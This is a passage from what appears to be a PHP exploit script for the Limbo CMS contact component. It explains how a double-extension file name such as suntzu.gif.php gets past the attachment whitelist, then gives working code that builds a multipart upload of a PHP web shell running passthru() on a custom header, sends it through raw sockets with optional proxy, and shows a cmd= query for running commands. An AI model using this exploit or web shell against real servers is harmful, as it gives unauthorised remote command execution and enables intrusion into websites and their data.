[*] http://target/path_to_limbo/index.php?Itemid=43&option=contact
[**] http://target/path_to_limbo/index.php?Itemid=3&option=contact

and there is a vulnerable function in /components/com_contact/contact.html.php near lines 69-73:

...
function file_ext($file)
{
$ext = explode(".", $file);
return strtolower($ext[1]); //[!!!!!!] <-------------------------------------------
}
...

now look at /components/com_contact/contact.php
...
switch ( $task )
{
case "post":
{
$abs_dir = $lm_absolute_path."images/contact/";
$web_dir = $lm_website."images/contact/";
if (!is_dir($abs_dir)) mkdir($abs_dir);
$valid_ext = array(
"jpg",
"png",
"gif",
"doc",
"xls"
);

if ($_FILES['contact_attach']['name']!="")
{
$tmp_name = $_FILES['contact_attach']['tmp_name'];
$name = $_FILES['contact_attach']['name'];
$ext = file_ext($name); // [!] <-----------------------------------
if(!in_array($ext,$valid_ext)) // [!!] <-----------------------------------
{ ?>
<script language="JavaScript" type="text/javascript">
alert("<?php echo _MESSAGE_ATTACH_INVALID; ?>");
window.history.go(-1);
</script>
<?php
}else{
@move_uploaded_file($tmp_name, $abs_dir.$name); // [!!!!] <-----------------------------------
$contact_text.=" ("._MESSAGE_ATTACH.$web_dir.$name.")";
}
}
...

but what happen if the attachment filename is like suntzu.gif.php ?

You can upload arbitrary php code, then u launch commands:

http://[target]/[path]/images/contact/suntzu.gif.php?cmd=ls%20-la

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$itemid=$argv[3];
$cmd="";
$port=80;
$proxy="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_name\";\r\n\r\n";
$data.="suntzu\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_email\";\r\n\r\n";
$data.="suntzu@suntzu.org\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_subject\";\r\n\r\n";
$data.="hereitissuntzu\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_text\";\r\n\r\n";
$data.="ohshit\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"task\";\r\n\r\n";
$data.="post\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"send\";\r\n\r\n";
$data.="Send\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_attach\"; filename=\"suntzu.gif.php\";\r\n";
$data.="Content-Type: image/gif;\r\n\r\n";
$data.="<?php set_time_limit(0); echo 'my_delim';passthru(\$_SERVER['HTTP_SUNTZU']);die;?>\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet ="POST ".$p."index.php?option=contact&Itemid=$itemid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);